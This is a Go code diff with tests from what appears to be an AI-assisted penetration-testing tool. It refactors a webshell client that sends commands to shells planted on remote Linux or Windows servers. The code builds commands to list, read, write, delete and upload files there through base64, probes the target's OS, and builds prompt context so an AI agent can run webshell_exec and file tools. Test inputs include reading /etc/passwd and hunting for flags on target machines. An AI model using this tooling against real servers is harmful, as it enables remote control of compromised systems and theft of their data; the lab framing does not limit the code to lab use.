command = "echo " + "'" + req.Content + "'" + " | base64 -d > " + h.escapePath(path)
case "upload_chunk":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload_chunk"})
return
}
redir := ">>"
if req.ChunkIndex == 0 {
redir = ">"
}
command = "echo " + "'" + req.Content + "'" + " | base64 -d " + redir + " " + h.escapePath(path)
default:
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "unsupported action: " + req.Action})
}
command, cmdErr := h.buildFileCommand(fileCommandInput{
Action: req.Action,
Path: req.Path,
TargetPath: req.TargetPath,
Content: req.Content,
ChunkIndex: req.ChunkIndex,
OS: osTag,
ShellType: req.Type,
})
if cmdErr != nil {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: cmdErr.Error()})
return
}
@@ -585,27 +830,15 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
if readErr != nil {
h.logger.Warn("webshell fileop read body", zap.Error(readErr))
}
output := string(out)
output := decodeWebshellOutput(out, req.Encoding)
c.JSON(http.StatusOK, FileOpResponse{
OK: resp.StatusCode == http.StatusOK,
Output: output,
OK: resp.StatusCode == http.StatusOK,
Output: output,
DetectedOS: detectedOS,
})
}
func (h *WebShellHandler) escapePath(p string) string {
if p == "" {
return "."
}
// 简单转义空格与敏感字符,避免命令注入
return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'"
}
func (h *WebShellHandler) escapeForEcho(s string) string {
// 仅用于 write:base64 写入更安全,这里简单用单引号包裹
return "'" + strings.ReplaceAll(s, "'", "'\"'\"'") + "'"
}
// ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用)
func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
if conn == nil {
@@ -643,7 +876,7 @@ func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection,
if readErr != nil {
h.logger.Warn("webshell ExecWithConnection read body", zap.Error(readErr))
}
return string(out), resp.StatusCode == http.StatusOK, ""
return decodeWebshellOutput(out, conn.Encoding), resp.StatusCode == http.StatusOK, ""
}
// FileOpWithConnection 在指定 WebShell 连接上执行文件操作(供 MCP/Agent 调用),支持 list / read / write
@@ -652,40 +885,38 @@ func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection
return "", false, "connection is nil"
}
action = strings.ToLower(strings.TrimSpace(action))
shellType := strings.ToLower(strings.TrimSpace(conn.Type))
if shellType == "" {
shellType = "php"
}
var command string
// MCP 入口仅开放 list / read / write 三种动作,与工具文档的承诺保持一致
switch action {
case "list":
if path == "" {
path = "."
}
if shellType == "asp" || shellType == "aspx" {
command = "dir " + h.escapePath(strings.TrimSpace(path))
} else {
command = "ls -la " + h.escapePath(strings.TrimSpace(path))
}
case "read":
path = strings.TrimSpace(path)
if path == "" {
return "", false, "path is required for read"
}
if shellType == "asp" || shellType == "aspx" {
command = "type " + h.escapePath(path)
} else {
command = "cat " + h.escapePath(path)
}
case "write":
path = strings.TrimSpace(path)
if path == "" {
return "", false, "path is required for write"
}
command = "echo " + h.escapeForEcho(content) + " > " + h.escapePath(path)
case "list", "read", "write":
// 支持的动作
default:
return "", false, "unsupported action: " + action + " (supported: list, read, write)"
}
// 若连接的 OS 为 auto,先探活并持久化,避免 AI/MCP 每次都对 Windows 发 `ls -la`
osTag := conn.OS
if normalizeWebshellOS(osTag) == "auto" {
if probed := probeWebshellOSViaExec(func(cmd string) (string, bool) {
out, exOk, _ := h.ExecWithConnection(conn, cmd)
return out, exOk
}); probed != "" {
osTag = probed
conn.OS = probed // 本次请求内使用探活结果
h.persistDetectedOS(conn.ID, probed)
}
}
command, cmdErr := h.buildFileCommand(fileCommandInput{
Action: action,
Path: path,
TargetPath: targetPath,
Content: content,
OS: osTag,
ShellType: conn.Type,
})
if cmdErr != nil {
return "", false, cmdErr.Error()
}
useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
cmdParam := strings.TrimSpace(conn.CmdParam)
if cmdParam == "" {
@@ -714,5 +945,5 @@ func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection
if readErr != nil {
h.logger.Warn("webshell FileOpWithConnection read body", zap.Error(readErr))
}
return string(out), resp.StatusCode == http.StatusOK, ""
return decodeWebshellOutput(out, conn.Encoding), resp.StatusCode == http.StatusOK, ""
}
+106
View File
@@ -0,0 +1,106 @@
package handler
import (
"strings"
"cyberstrike-ai/internal/database"
)
// WebshellSkillHintDefault 对话页 / Eino 单代理共用的 Skills 说明,放在 webshell 上下文末尾,
// 供 AI 选择 skill 加载入口时参考。
const WebshellSkillHintDefault = "Skills 包请使用「多代理 / Eino DeepAgent」会话中的内置 `skill` 工具渐进加载。"
// WebshellSkillHintMultiAgent 多代理 / Eino 多代理准备阶段使用的 Skills 说明
const WebshellSkillHintMultiAgent = "Skills 包请使用 Eino 多代理内置 `skill` 工具。"
// webshellAssistantToolList AI 助手在 WebShell 上下文下允许使用的工具清单(展示给模型用)。
// 注意:此处只是展示字符串,真正的权限限制是在调用方设置的 roleTools 切片里。
const webshellAssistantToolList = "webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base"
// BuildWebshellAssistantContext 根据连接信息与用户原始消息组装 AI 助手的上下文提示词。
// 上下文包含:连接 ID、备注、目标系统(及对应命令集建议)、响应编码、可用工具清单、Skills 加载入口、
// 以及最终的用户请求。调用方只需要决定 skillHint 的文案(默认使用 WebshellSkillHintDefault)。
//
// 之所以把这段逻辑抽到共享函数里,是为了避免 agent.go / multi_agent_prepare.go 等多处复制粘贴,
// 并确保当我们升级 OS / Encoding 文案时只需要改一处、测一处、同步生效。
func BuildWebshellAssistantContext(conn *database.WebShellConnection, skillHint, userMsg string) string {
if conn == nil {
// 兜底:调用方已保证 conn 非 nil,这里只是防御性返回原消息
return userMsg
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
targetOS := resolveWebshellOS(conn.OS, conn.Type) // 归一为 "linux" / "windows"
encoding := normalizeWebshellEncoding(conn.Encoding)
if skillHint == "" {
skillHint = WebshellSkillHintDefault
}
var b strings.Builder
b.Grow(512 + len(userMsg))
b.WriteString("[WebShell 助手上下文] 连接 ID")
b.WriteString(conn.ID)
b.WriteString(",备注:")
b.WriteString(remark)
b.WriteByte('\n')
// 目标系统:明确告诉 AI 能用/不能用的命令集,避免它对着 Windows 发 ls/cat/rm
b.WriteString("- 目标系统:")
b.WriteString(describeTargetOSForPrompt(targetOS))
b.WriteByte('\n')
// 响应编码:仅在非 auto 时显式告知,auto 模式由后端自适应,不打扰模型
if encHint := describeEncodingForPrompt(encoding); encHint != "" {
b.WriteString("- 响应编码:")
b.WriteString(encHint)
b.WriteByte('\n')
}
// 工具清单 & connection_id 约束:保持旧有表达,AI 已熟悉
b.WriteString("可用工具(仅在该连接上操作时使用,connection_id 填 \"")
b.WriteString(conn.ID)
b.WriteString("\"):")
b.WriteString(webshellAssistantToolList)
b.WriteString("。")
b.WriteString(skillHint)
b.WriteString("\n\n用户请求:")
b.WriteString(userMsg)
return b.String()
}
// describeTargetOSForPrompt 返回某个 OS 对应的中文描述 + 推荐命令集 + 反例,
// 命令列表覆盖文件管理最常用的 6 类动作(查看/读/删/改名/建目录/查找),让 AI 能直接照抄。
func describeTargetOSForPrompt(targetOS string) string {
switch targetOS {
case "windows":
return "Windows(推荐 cmd/PowerShelldir /a、type、del /q /f、move /y、md、ren" +
"查找文件用 `dir /s /b 过滤词` 或 PowerShell `Get-ChildItem -Recurse`" +
"避免 ls / cat / rm / mv / find 等 Unix 命令,否则将返回 `不是内部或外部命令`)"
case "linux":
return "Linux/Unix(推荐 sh/bashls -la、cat、rm -f、mv、mkdir -p" +
"查找文件用 `find /path -name '*pattern*'`" +
"避免 dir、type、del、move 等 Windows 命令)"
default:
// 理论上不会走到这里,resolveWebshellOS 已经兜底
return "未知(请先执行 `uname || ver` 探测再决定命令集)"
}
}
// describeEncodingForPrompt 返回响应编码的人类可读描述;auto 返回空串以减少 token。
func describeEncodingForPrompt(encoding string) string {
switch encoding {
case "utf-8":
return "UTF-8(目标原生 UTF-8,无需额外解码)"
case "gbk":
return "GBK(中文 Windows;后端已自动转码为 UTF-8 返回,若仍出现大量 \\uFFFD 替换字符说明命令失败或编码识别错误)"
case "gb18030":
return "GB18030(后端已自动转码为 UTF-8 返回)"
default:
return ""
}
}
+170
View File
@@ -0,0 +1,170 @@
package handler
import (
"strings"
"testing"
"cyberstrike-ai/internal/database"
)
func TestBuildWebshellAssistantContext_WindowsExplicit(t *testing.T) {
conn := &database.WebShellConnection{
ID: "ws_win01",
Remark: "IIS Windows 靶机",
URL: "http://example.com/shell.php",
Type: "php",
OS: "windows",
Encoding: "gbk",
}
got := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, "列出当前目录并告诉我 flag 在哪")
mustContain(t, got,
"[WebShell 助手上下文]",
"ws_win01",
"IIS Windows 靶机",
"目标系统:Windows",
"dir /a",
"move /y",
"避免 ls / cat / rm",
"响应编码:GBK",
"后端已自动转码为 UTF-8",
"connection_id 填 \"ws_win01\"",
"webshell_exec、webshell_file_list",
WebshellSkillHintDefault,
"用户请求:列出当前目录并告诉我 flag 在哪",
)
// Windows 场景下不应出现 Linux 命令推荐
mustNotContain(t, got, "推荐 sh/bash")
}
func TestBuildWebshellAssistantContext_LinuxAutoFromPHP(t *testing.T) {
conn := &database.WebShellConnection{
ID: "ws_lnx01",
Remark: "", // 测试备注为空时 fallback URL
URL: "http://example.com/a.php",
Type: "php",
OS: "auto", // auto + php → linux
Encoding: "", // auto 编码不显式提示
}
got := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, "看看 /etc/passwd")
mustContain(t, got,
"连接 IDws_lnx01",
"备注:http://example.com/a.php", // 备注空时 fallback URL
"目标系统:Linux/Unix",
"ls -la",
"mkdir -p",
"避免 dir、type、del、move",
"用户请求:看看 /etc/passwd",
)
// encoding=auto 不应出现"响应编码:"这一行
mustNotContain(t, got, "响应编码:")
// Linux 场景不应出现 Windows 命令
mustNotContain(t, got, "推荐 cmd/PowerShell")
}
func TestBuildWebshellAssistantContext_AutoFromASPDefaultsToWindows(t *testing.T) {
// 保留向后兼容:旧连接没配 os,shellType=asp 时应视为 Windows
conn := &database.WebShellConnection{
ID: "ws_asp01",
Remark: "老 ASP 靶机",
Type: "asp",
OS: "", // 空串等同 auto
Encoding: "gb18030",
}
got := BuildWebshellAssistantContext(conn, WebshellSkillHintMultiAgent, "查当前用户")
mustContain(t, got,
"目标系统:Windows",
"响应编码:GB18030",
"后端已自动转码为 UTF-8 返回",
WebshellSkillHintMultiAgent,
)
// 多代理 skill 文案里没有 DeepAgent,不应混入 default 文案
mustNotContain(t, got, "DeepAgent")
}
func TestBuildWebshellAssistantContext_MultiAgentSkillHint(t *testing.T) {
conn := &database.WebShellConnection{ID: "ws_m1", Remark: "x", Type: "php", OS: "linux"}
got := BuildWebshellAssistantContext(conn, WebshellSkillHintMultiAgent, "hi")
mustContain(t, got, WebshellSkillHintMultiAgent)
mustNotContain(t, got, "DeepAgent")
}
func TestBuildWebshellAssistantContext_DefaultSkillHintFallback(t *testing.T) {
conn := &database.WebShellConnection{ID: "ws_d1", Remark: "x", Type: "php", OS: "linux"}
// skillHint 传空字符串时应回退到 default
got := BuildWebshellAssistantContext(conn, "", "hi")
mustContain(t, got, WebshellSkillHintDefault)
}
func TestBuildWebshellAssistantContext_UTF8EncodingIsAnnotated(t *testing.T) {
conn := &database.WebShellConnection{
ID: "ws_u1", Remark: "u", Type: "jsp", OS: "linux", Encoding: "utf-8",
}
got := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, "hi")
mustContain(t, got, "响应编码:UTF-8", "目标原生 UTF-8")
}
func TestBuildWebshellAssistantContext_NilConnReturnsUserMsg(t *testing.T) {
// 防御性:conn == nil 时不 panic,直接返回原消息
got := BuildWebshellAssistantContext(nil, WebshellSkillHintDefault, "just the message")
if got != "just the message" {
t.Errorf("nil conn should return userMsg as-is, got %q", got)
}
}
func TestDescribeTargetOSForPrompt(t *testing.T) {
cases := map[string][]string{
"windows": {"Windows", "dir /a", "move /y", "PowerShell"},
"linux": {"Linux/Unix", "ls -la", "mkdir -p"},
"": {"未知", "uname"}, // 防御性分支
}
for in, wants := range cases {
got := describeTargetOSForPrompt(in)
for _, w := range wants {
if !strings.Contains(got, w) {
t.Errorf("describeTargetOSForPrompt(%q) should contain %q, got: %s", in, w, got)
}
}
}
}
func TestDescribeEncodingForPrompt(t *testing.T) {
cases := map[string]string{
"utf-8": "UTF-8",
"gbk": "GBK",
"gb18030": "GB18030",
"auto": "",
"": "",
}
for in, want := range cases {
got := describeEncodingForPrompt(in)
if want == "" && got != "" {
t.Errorf("describeEncodingForPrompt(%q) should return empty string, got: %s", in, got)
}
if want != "" && !strings.Contains(got, want) {
t.Errorf("describeEncodingForPrompt(%q) should contain %q, got: %s", in, want, got)
}
}
}
// ---- 小工具 ----
func mustContain(t *testing.T, text string, substrings ...string) {
t.Helper()
for _, s := range substrings {
if !strings.Contains(text, s) {
t.Errorf("expected text to contain %q\n--- text ---\n%s", s, text)
}
}
}
func mustNotContain(t *testing.T, text string, substrings ...string) {
t.Helper()
for _, s := range substrings {
if strings.Contains(text, s) {
t.Errorf("text should not contain %q\n--- text ---\n%s", s, text)
}
}
}
+103
View File
@@ -0,0 +1,103 @@
package handler
import (
"testing"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
// mustEncode 使用指定编码对 UTF-8 字符串做编码,得到原始字节,用于构造测试输入
func mustEncode(t *testing.T, s string, enc string) []byte {
t.Helper()
var tr transform.Transformer
switch enc {
case "gbk":
tr = simplifiedchinese.GBK.NewEncoder()
case "gb18030":
tr = simplifiedchinese.GB18030.NewEncoder()
default:
t.Fatalf("unsupported test encoding: %s", enc)
}
out, _, err := transform.Bytes(tr, []byte(s))
if err != nil {
t.Fatalf("mustEncode(%s) failed: %v", enc, err)
}
return out
}
func TestNormalizeWebshellEncoding(t *testing.T) {
cases := map[string]string{
"": "auto",
" ": "auto",
"auto": "auto",
"AUTO": "auto",
"utf-8": "utf-8",
"UTF-8": "utf-8",
"utf8": "utf-8",
"gbk": "gbk",
"GBK": "gbk",
"gb18030": "gb18030",
"big5": "auto", // 未支持的回退到 auto
"anything": "auto",
}
for in, want := range cases {
if got := normalizeWebshellEncoding(in); got != want {
t.Errorf("normalizeWebshellEncoding(%q) = %q, want %q", in, got, want)
}
}
}
func TestDecodeWebshellOutput_AutoDetectsGBK(t *testing.T) {
// 模拟 Windows 中文 cmd 输出的 GBK 字节流
want := "用户名 SID 类型"
raw := mustEncode(t, want, "gbk")
// auto 模式:UTF-8 校验失败后应当回退 GB18030 解码,得到原始中文
got := decodeWebshellOutput(raw, "auto")
if got != want {
t.Errorf("decodeWebshellOutput(auto) = %q, want %q", got, want)
}
// 显式 GBK 模式:同样应当正确解码
got = decodeWebshellOutput(raw, "gbk")
if got != want {
t.Errorf("decodeWebshellOutput(gbk) = %q, want %q", got, want)
}
// 显式 GB18030 模式:GBK 是 GB18030 子集,也应正确解码
got = decodeWebshellOutput(raw, "gb18030")
if got != want {
t.Errorf("decodeWebshellOutput(gb18030) = %q, want %q", got, want)
}
}
func TestDecodeWebshellOutput_PassthroughUTF8(t *testing.T) {
// 已经是 UTF-8 的中文字符串,各模式都应返回原串(不破坏)
want := "hello 世界"
for _, enc := range []string{"", "auto", "utf-8"} {
if got := decodeWebshellOutput([]byte(want), enc); got != want {
t.Errorf("decodeWebshellOutput(%q) passthrough = %q, want %q", enc, got, want)
}
}
}
func TestDecodeWebshellOutput_ASCIIStable(t *testing.T) {
// 纯 ASCII 在任何模式下都必须保持原样
want := "whoami\nAdministrator\n"
for _, enc := range []string{"", "auto", "utf-8", "gbk", "gb18030"} {
if got := decodeWebshellOutput([]byte(want), enc); got != want {
t.Errorf("decodeWebshellOutput(%q) ASCII = %q, want %q", enc, got, want)
}
}
}
func TestDecodeWebshellOutput_EmptyInput(t *testing.T) {
// 空输入直接返回空串,不做额外分配
if got := decodeWebshellOutput(nil, "gbk"); got != "" {
t.Errorf("decodeWebshellOutput(nil) = %q, want empty", got)
}
if got := decodeWebshellOutput([]byte{}, "auto"); got != "" {
t.Errorf("decodeWebshellOutput([]) = %q, want empty", got)
}
}
+348
View File
@@ -0,0 +1,348 @@
package handler
import (
"encoding/base64"
"strings"
"testing"
"go.uber.org/zap"
)
func newTestWebShellHandler() *WebShellHandler {
return NewWebShellHandler(zap.NewNop(), nil)
}
func TestNormalizeWebshellOS(t *testing.T) {
cases := map[string]string{
"": "auto",
" ": "auto",
"auto": "auto",
"AUTO": "auto",
"linux": "linux",
"Linux": "linux",
"windows": "windows",
"WINDOWS": "windows",
"macos": "auto", // 未支持的回退 auto
"solaris": "auto",
}
for in, want := range cases {
if got := normalizeWebshellOS(in); got != want {
t.Errorf("normalizeWebshellOS(%q) = %q, want %q", in, got, want)
}
}
}
func TestResolveWebshellOS(t *testing.T) {
type testCase struct {
osTag string
shellType string
want string
}
cases := []testCase{
// 显式 OS:按用户选择,忽略 shellType
{"linux", "asp", "linux"},
{"windows", "php", "windows"},
{"LINUX", "jsp", "linux"},
// auto + 各种 shellTypeasp/aspx → windows,其他 → linux
{"auto", "asp", "windows"},
{"auto", "aspx", "windows"},
{"auto", "ASP", "windows"},
{"auto", "php", "linux"},
{"auto", "jsp", "linux"},
{"auto", "custom", "linux"},
{"auto", "", "linux"},
// 空/未知 OS 等价 auto
{"", "asp", "windows"},
{"", "php", "linux"},
{"unknown", "aspx", "windows"},
}
for _, c := range cases {
got := resolveWebshellOS(c.osTag, c.shellType)
if got != c.want {
t.Errorf("resolveWebshellOS(%q,%q) = %q, want %q", c.osTag, c.shellType, got, c.want)
}
}
}
func TestQuoteCmdPath(t *testing.T) {
cases := map[string]string{
"": `"."`,
`C:\Windows\Temp`: `"C:\Windows\Temp"`,
`C:\Program Files\a`: `"C:\Program Files\a"`,
`C:\weird"name\f.txt`: `"C:\weird""name\f.txt"`,
`.`: `"."`,
}
for in, want := range cases {
if got := quoteCmdPath(in); got != want {
t.Errorf("quoteCmdPath(%q) = %q, want %q", in, got, want)
}
}
}
func TestQuoteShellSinglePosix(t *testing.T) {
cases := map[string]string{
"": ".",
"/tmp/a b": "'/tmp/a b'",
"/tmp/it's.txt": `'/tmp/it'\''s.txt'`,
}
for in, want := range cases {
if got := quoteShellSinglePosix(in); got != want {
t.Errorf("quoteShellSinglePosix(%q) = %q, want %q", in, got, want)
}
}
}
// TestBuildFileCommand_LinuxBranch 覆盖 Linux 目标下每个 action 产出的命令
func TestBuildFileCommand_LinuxBranch(t *testing.T) {
h := newTestWebShellHandler()
base := fileCommandInput{OS: "linux", ShellType: "php"}
mustContain := func(t *testing.T, cmd string, substrings ...string) {
t.Helper()
for _, s := range substrings {
if !strings.Contains(cmd, s) {
t.Errorf("expected command to contain %q, got: %s", s, cmd)
}
}
}
mustNotContain := func(t *testing.T, cmd string, substrings ...string) {
t.Helper()
for _, s := range substrings {
if strings.Contains(cmd, s) {
t.Errorf("command should not contain %q, got: %s", s, cmd)
}
}
}
// list with empty path defaults to '.'
in := base
in.Action = "list"
cmd, err := h.buildFileCommand(in)
if err != nil {
t.Fatalf("list linux: unexpected err: %v", err)
}
mustContain(t, cmd, "ls -la", "'.'")
// list with path containing spaces
in.Path = "/tmp/my files"
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "ls -la ", "'/tmp/my files'")
// read with path
in = base
in.Action = "read"
in.Path = "/etc/passwd"
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "cat ", "'/etc/passwd'")
// read without path → error
in.Path = ""
if _, err := h.buildFileCommand(in); err != errFileOpPathRequired {
t.Errorf("read empty path: want errFileOpPathRequired, got %v", err)
}
// delete
in = base
in.Action = "delete"
in.Path = "/tmp/a.txt"
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "rm -f ", "'/tmp/a.txt'")
mustNotContain(t, cmd, "del")
// mkdir
in.Action = "mkdir"
in.Path = "/tmp/new/sub"
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "mkdir -p ", "'/tmp/new/sub'")
// rename
in = base
in.Action = "rename"
in.Path = "/tmp/a"
in.TargetPath = "/tmp/b"
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "mv -f ", "'/tmp/a'", "'/tmp/b'")
// rename missing target → error
in.TargetPath = ""
if _, err := h.buildFileCommand(in); err != errFileOpRenameNeedsBothPaths {
t.Errorf("rename empty target: want errFileOpRenameNeedsBothPaths, got %v", err)
}
// write
in = base
in.Action = "write"
in.Path = "/tmp/w.txt"
in.Content = "hello 世界"
cmd, _ = h.buildFileCommand(in)
b64 := base64.StdEncoding.EncodeToString([]byte("hello 世界"))
mustContain(t, cmd, "echo '"+b64+"'", "| base64 -d", "> '/tmp/w.txt'")
// upload
in = base
in.Action = "upload"
in.Path = "/tmp/bin"
in.Content = "YWJjZA==" // base64 of "abcd"
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "echo 'YWJjZA=='", "| base64 -d", "> '/tmp/bin'")
// upload oversized content → error
in.Content = strings.Repeat("A", 513*1024)
if _, err := h.buildFileCommand(in); err != errFileOpUploadTooLarge {
t.Errorf("upload too large: want errFileOpUploadTooLarge, got %v", err)
}
// upload_chunk with chunk_index=0 uses single redirect
in = base
in.Action = "upload_chunk"
in.Path = "/tmp/bin"
in.Content = "YWJj"
in.ChunkIndex = 0
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "base64 -d > '/tmp/bin'")
mustNotContain(t, cmd, ">>")
// upload_chunk with chunk_index>0 uses append redirect
in.ChunkIndex = 1
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "base64 -d >> '/tmp/bin'")
// unsupported action
in = base
in.Action = "nope"
if _, err := h.buildFileCommand(in); err == nil || !strings.Contains(err.Error(), "unsupported action") {
t.Errorf("unknown action: want unsupported action error, got %v", err)
}
}
// TestBuildFileCommand_WindowsBranch 覆盖 Windows 目标下每个 action 产出的命令
func TestBuildFileCommand_WindowsBranch(t *testing.T) {
h := newTestWebShellHandler()
base := fileCommandInput{OS: "windows", ShellType: "php"}
mustContain := func(t *testing.T, cmd string, substrings ...string) {
t.Helper()
for _, s := range substrings {
if !strings.Contains(cmd, s) {
t.Errorf("expected command to contain %q, got: %s", s, cmd)
}
}
}
mustNotContain := func(t *testing.T, cmd string, substrings ...string) {
t.Helper()
for _, s := range substrings {
if strings.Contains(cmd, s) {
t.Errorf("command should not contain %q, got: %s", s, cmd)
}
}
}
// list
in := base
in.Action = "list"
cmd, _ := h.buildFileCommand(in)
mustContain(t, cmd, "dir /a ", `"."`)
mustNotContain(t, cmd, "ls -la")
in.Path = `C:\Users\Public Docs`
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "dir /a ", `"C:\Users\Public Docs"`)
// read
in = base
in.Action = "read"
in.Path = `C:\flag.txt`
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "type ", `"C:\flag.txt"`)
// delete
in.Action = "delete"
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "del /q /f ", `"C:\flag.txt"`)
mustNotContain(t, cmd, "rm -f")
// mkdir
in.Action = "mkdir"
in.Path = `C:\a\b\c`
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "md ", `"C:\a\b\c"`)
// rename
in = base
in.Action = "rename"
in.Path = `C:\a.txt`
in.TargetPath = `C:\b.txt`
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "move /y ", `"C:\a.txt"`, `"C:\b.txt"`)
// write → PowerShell base64 one-liner
in = base
in.Action = "write"
in.Path = `C:\out.txt`
in.Content = "hello 世界"
cmd, _ = h.buildFileCommand(in)
wantB64 := base64.StdEncoding.EncodeToString([]byte("hello 世界"))
mustContain(t, cmd,
"powershell -NoProfile -NonInteractive -Command",
"[Convert]::FromBase64String('"+wantB64+"')",
"[IO.File]::WriteAllBytes('C:\\out.txt'",
)
mustNotContain(t, cmd, "echo ", "base64 -d")
// upload (chunk_index=0 equivalent) uses WriteAllBytes
in = base
in.Action = "upload"
in.Path = `C:\bin\f`
in.Content = "YWJjZA=="
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "WriteAllBytes('C:\\bin\\f'", "FromBase64String('YWJjZA==')")
// upload_chunk index=0 → WriteAllBytes
in.Action = "upload_chunk"
in.ChunkIndex = 0
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "WriteAllBytes(")
mustNotContain(t, cmd, "FileMode]::Append")
// upload_chunk index>0 → append (Open with Append mode)
in.ChunkIndex = 1
cmd, _ = h.buildFileCommand(in)
mustContain(t, cmd, "[IO.FileMode]::Append", "FromBase64String('YWJjZA==')")
}
// TestBuildFileCommand_AutoFallbackMatchesLegacyBehavior 确保 os=auto 时与旧版 shellType 判定行为完全一致
// asp/aspx 视为 Windows(旧行为),其他视为 Linux。
func TestBuildFileCommand_AutoFallbackMatchesLegacyBehavior(t *testing.T) {
h := newTestWebShellHandler()
// asp + auto → windows 命令
cmd, _ := h.buildFileCommand(fileCommandInput{Action: "list", OS: "auto", ShellType: "asp"})
if !strings.Contains(cmd, "dir /a") {
t.Errorf("auto + asp should use Windows cmd, got: %s", cmd)
}
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "auto", ShellType: "aspx"})
if !strings.Contains(cmd, "dir /a") {
t.Errorf("auto + aspx should use Windows cmd, got: %s", cmd)
}
// php/jsp/custom + auto → linux 命令(与历史行为一致)
for _, st := range []string{"php", "jsp", "custom", ""} {
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "auto", ShellType: st})
if !strings.Contains(cmd, "ls -la") {
t.Errorf("auto + %q should use Linux cmd, got: %s", st, cmd)
}
}
// 显式 OS 覆盖 shellType
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "windows", ShellType: "php"})
if !strings.Contains(cmd, "dir /a") {
t.Errorf("explicit windows should override php shellType, got: %s", cmd)
}
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "linux", ShellType: "asp"})
if !strings.Contains(cmd, "ls -la") {
t.Errorf("explicit linux should override asp shellType, got: %s", cmd)
}
}
+127
View File
@@ -0,0 +1,127 @@
package handler
import (
"bytes"
"io"
"net/http"
"strings"
"go.uber.org/zap"
)
// webshellOSProbeCommand 探活命令:利用 Windows cmd 与 POSIX shell 对 `%OS%` 展开差异进行判定。
// - Windows cmd`%OS%` 被展开为 `Windows_NT`,回显 `:OSPROBE_Windows_NT:END`
// - POSIX sh/bash`%OS%` 不是变量语法,作为字面量原样保留,回显 `:OSPROBE_%OS%:END`
//
// 一条命令即可得到明确的、互斥的信号,避免探活成本(相比发两次命令)。
// 冒号包裹是为了避免部分 shell 输出多余空白/BOM 时字符串匹配失效。
const webshellOSProbeCommand = "echo :OSPROBE_%OS%:END"
// probeWebshellOSViaExec 通过一次命令执行的回显推断目标操作系统。
//
// 返回值:
// - "windows" / "linux":识别成功
// - "":无法判定(调用方应保留既有 fallback 逻辑)
//
// 入参 execFn 是一个"发命令并拿到回显"的闭包;让 HTTP 入口和 MCP 入口可以共用同一套探活逻辑
// 而不必关心底层是如何发包的。
func probeWebshellOSViaExec(execFn func(cmd string) (output string, ok bool)) string {
if execFn == nil {
return ""
}
out, ok := execFn(webshellOSProbeCommand)
if !ok {
return ""
}
return classifyWebshellOSProbeOutput(out)
}
// classifyWebshellOSProbeOutput 纯函数:根据探活命令的回显判定 OS。
// 抽出来是为了单测可直接覆盖所有分支,无需真实 HTTP 调用。
func classifyWebshellOSProbeOutput(out string) string {
if out == "" {
return ""
}
lower := strings.ToLower(out)
// Windows 强信号:cmd.exe 成功展开了 %OS% 变量
if strings.Contains(out, "Windows_NT") {
return "windows"
}
// 容错:部分老版本 Windows 可能 `%OS%` 展开为其他字样(极少见),再看 PATH/OS 等次级线索
if strings.Contains(lower, "microsoft windows") {
return "windows"
}
// Linux/Unix 强信号:`%OS%` 字面量被原样回显,说明 shell 不是 cmd.exe
if strings.Contains(out, "%OS%") {
return "linux"
}
// 次级线索:部分 webshell 在 Linux 上可能走了其他外壳(如 zsh/ash),
// 但它们对 `%OS%` 同样不展开;若命中 OSPROBE 头部却没拿到 %OS% 字面量,
// 说明回显被中途截断或过滤,保守返回空让上层 fallback。
return ""
}
// newHTTPExecFn 为 HTTP FileOp 路径构造"发命令取回显"的闭包,供探活复用。
// 参数来自 HTTP 请求,复用 buildExecURL / buildExecBody 两个已有的命令编排器,
// 确保探活包与实际文件操作包走完全一致的 webshell 协议(GET/POST、参数名、编码)。
func (h *WebShellHandler) newHTTPExecFn(targetURL, password, shellType, method, cmdParam, encoding string) func(string) (string, bool) {
useGET := strings.ToUpper(strings.TrimSpace(method)) == "GET"
if strings.TrimSpace(cmdParam) == "" {
cmdParam = "cmd"
}
return func(cmd string) (string, bool) {
var (
httpReq *http.Request
err error
)
if useGET {
u := h.buildExecURL(targetURL, shellType, password, cmdParam, cmd)
httpReq, err = http.NewRequest(http.MethodGet, u, nil)
} else {
body := h.buildExecBody(shellType, password, cmdParam, cmd)
httpReq, err = http.NewRequest(http.MethodPost, targetURL, bytes.NewReader(body))
if err == nil {
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
if err != nil {
return "", false
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
return "", false
}
defer resp.Body.Close()
